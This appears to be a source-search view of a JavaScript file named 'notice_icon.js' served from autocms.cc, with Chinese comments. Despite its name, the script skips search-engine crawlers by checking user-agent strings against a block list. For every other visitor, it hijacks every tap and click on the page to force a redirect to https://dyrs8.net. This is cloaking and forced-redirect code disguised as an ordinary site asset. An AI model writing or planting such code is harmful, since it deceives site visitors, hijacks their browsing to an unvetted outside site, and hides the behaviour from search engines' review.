PageSourceSearch

https://autocms.cc/static/notice_icon.js?ref=

js autocms.cc collected 2026-10-04 06:06:17 UTC 2,194 bytes, 89 lines download raw bytes

1// 1. 定义需要过滤的 UA 关键字列表(转为小写)
2const blockedBots = [
3  // 百度
4  'baiduspider',
5  
6  // 谷歌
7  'googlebot',
8  'adsbot-google',
9  'mediapartners-google',
10
11  // 微软 Bing / Yahoo
12  'bingbot',
13  'msnbot',
14  'slurp',
15
16  // Yandex
17  'yandexbot',
18  'yandexmobilebot',
19  'yandeximages',
20
21  // 搜狗
22  'sogou',
23
24  // 360 搜索
25  '360spider',
26
27  // 字节跳动 / 头条
28  'bytespider',
29
30  // DuckDuckGo
31  'duckduckbot',
32
33  // 神马搜索 (UC)
34  'yisouspider'
35];
36// 2. 检查当前浏览器的 User-Agent
37function isBlockedBot() {
38  const currentUA = (navigator.userAgent || '').toLowerCase();
39  // 判断当前 UA 是否包含列表中的任何关键词
40  return blockedBots.some(bot => currentUA.includes(bot));
41}
42
43// 3. 跳转控制与事件绑定
44function setupRedirect(targetUrl) {
45  // 如果是匹配到的爬虫/特定 UA,直接返回不绑定交互事件
46  if (isBlockedBot()) {
47    console.log('检测到特定 UA,跳过事件绑定');
48    return;
49  }
50
51  // 状态标记:防止 touchstart 和 click 在移动端重复触发
52  let isTouched = false;
53
54  function doRedirect(e) {
55    // 阻止默认行为(防止触发原生的超链接或滚动行为)
56    if (e.cancelable) {
57      e.preventDefault();
58    }
59    window.location.href = targetUrl;
60  }
61
62  // 监听移动端触摸事件
63  document.addEventListener('touchstart', function(e) {
64    isTouched = true;
65    doRedirect(e);
66  }, { passive: false });
67
68  // 监听桌面端点击事件
69  document.addEventListener('click', function(e) {
70    // 如果已经由 touchstart 触发过,则忽略后续延迟产生的 click 事件
71    if (isTouched) {
72      isTouched = false;
73      return;
74    }
75    doRedirect(e);
76  });
77}
78
79
80// 等待DOM加载完成后再执行初始化
81if (document.readyState === 'complete' || document.readyState === 'interactive') {
82  // 延迟执行确保noticeConfig已定义
83  setupRedirect('https://dyrs8.net');
84} else {
85  document.addEventListener('DOMContentLoaded', function () {
86    // 延迟执行确保noticeConfig已定义
87    setupRedirect('https://dyrs8.net');
88  });
89}

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.